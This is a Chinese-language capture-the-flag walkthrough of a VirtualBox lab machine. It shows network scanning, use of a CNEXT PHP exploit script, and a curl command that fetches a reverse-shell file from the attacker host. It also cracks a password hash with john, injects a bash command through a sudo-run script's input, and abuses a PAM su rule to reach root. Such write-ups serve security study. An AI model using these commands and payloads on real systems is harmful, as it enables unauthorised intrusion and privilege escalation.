❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.162 08:00:27:ff:89:04 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e0:e5:17 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.128 seconds (120.30 hosts/sec). 4 responded ❯ export ip=192.168.60.162 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Breaking and entering... into the world of open ports. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.162:22 Open 192.168.60.162:80 Open 192.168.60.162:8080 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-28 10:47 CST Initiating ARP Ping Scan at 10:47 Scanning 192.168.60.162 [1 port] Completed ARP Ping Scan at 10:47, 0.09s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:47 Completed Parallel DNS resolution of 1 host. at 10:47, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 10:47 Scanning 192.168.60.162 [3 ports] Discovered open port 80/tcp on 192.168.60.162 Discovered open port 22/tcp on 192.168.60.162 Discovered open port 8080/tcp on 192.168.60.162 Completed SYN Stealth Scan at 10:47, 0.05s elapsed (3 total ports) Nmap scan report for 192.168.60.162 Host is up, received arp-response (0.00070s latency). Scanned at 2025-04-28 10:47:52 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 8080/tcp open http-proxy syn-ack ttl 63 MAC Address: 08:00:27:FF:89:04 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
❯ pyenv install 3.11.9 Downloading Python-3.11.9.tar.xz... -> https://www.python.org/ftp/python/3.11.9/Python-3.11.9.tar.xz Installing Python-3.11.9... Installed Python-3.11.9 to /home/Pepster/.pyenv/versions/3.11.9 ❯ pyenv local 3.11.9 ❯ pip install pwntools ………………………… ❯ pip install ten …………………………
由于POC中是利用POST进行传参的，而目前靶机中是利用GET进行传参的，所以稍微修改一下代码
尝试执行一下
1 2 3 4 5 6 7 8
❯ python3 cnext-exploit.py 'http://192.168.60.162:8080/index.php'"echo '<?=phpinfo();?>' > a.php" [*] The data:// wrapper works [*] The php://filter/ wrapper works [*] The zlib extension is enabled [+] Exploit preconditions are satisfied [*] Using 0x7f8b8a000040 as heap
EXPLOIT SUCCESS
可以成功利用，尝试反弹shell
1 2 3 4 5 6 7 8 9 10 11
❯ python3 cnext-exploit.py 'http://192.168.60.162:8080/index.php''curl 192.168.60.100/rev.php -o rev.php' [*] The data:// wrapper works [*] The php://filter/ wrapper works [*] The zlib extension is enabled [+] Exploit preconditions are satisfied [*] Using 0x7f8b8a000040 as heap
❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt Using default input encoding: UTF-8 Loaded 1 password hash (crypt, generic crypt(3) [?/64]) Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes Cost 2 (algorithm specific iterations) is 1 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status pretend (?) 1g 0:00:03:22 DONE (2025-04-28 18:14) 0.004932g/s 434.2p/s 434.2c/s 434.2C/s rawlings..poop23 Use the "--show" option to display all of the cracked passwords reliably Session completed.
❯ vi id_rsa ❯ ssh-keygen -c -f id_rsa Old comment: welcome@moban New comment: ❯ ssh welcome@$ip -i id_rsa Linux gc 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Apr 27 12:52:07 2025 from 192.168.20.33 welcome@gc:~$ cat user.txt flag{happy} welcome@gc:~$ sudo -l Matching Defaults entries for welcome on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User welcome may run the following commands on localhost: (think) NOPASSWD: /bin/bash /think/Task_Scheduler.sh welcome@gc:~$ ls -al /think/Task_Scheduler.sh -rw-r--r-- 1 think think 808 Apr 27 11:59 /think/Task_Scheduler.sh
Please enter the task priority (1-10): a[$(bash >&2)] Please enter the estimated CPU usage (in percentage, 0-100): Please enter the estimated memory usage (in MB): think@gc:/think$ id uid=1001(think) gid=1001(think) groups=1001(think) think@gc:/think$ cat pass.txt think@thinkyouare
Root 提权
尝试切换root用户的时候会自动退出
奇怪的是为什么welcome切换root用户并不需要输入密码
但是此密码可以登录think用户
1 2 3 4 5 6 7 8
think@gc:/think$ su root you are not think think@gc:/think$ su think Password: $ bash think@gc:/think$ sudo -l [sudo] password for think: Sorry, user think may not run sudo on localhost.
好吧，找到原因了
在/etc/pam.d/su中配置了如下
1 2 3
auth sufficient pam_rootok.so auth [success=ignore default=1] pam_succeed_if.so user = root auth sufficient pam_succeed_if.so use_uid user = think
猜测自动退出的原因可能是root家目录下的.bashrc配置了登录后即刻退出的命令
所以在su之后立刻执行bash
我多次尝试，发现但凡执行bash就会退出而sh并不会
1 2 3 4 5 6 7 8 9
think@gc:/home/welcome$ su -u root -c bash Error: -c 参数被禁止 think@gc:/home/welcome$ su - -cpwd /root think@gc:/home/welcome$ su - -csh;pwd # id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt flag{root}
后记
果然在.bashrc中配置了脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
# cat .bashrc if [ -n "$PROMPT_COMMAND" ]; then PROMPT_COMMAND="$PROMPT_COMMAND;source /root/.a.sh" else PROMPT_COMMAND="source /root/.a.sh" fi # cat a.sh #!/bin/bash for arg in"$@"; do if [[ "$arg" == "-c" ]]; then echo"Error: -c 参数被禁止" exit 1 fi done exec /usr/libexec/polkit-agent-helper-1 "$@" # cat .a.sh echo"you are not think" sleep 1 exit 1
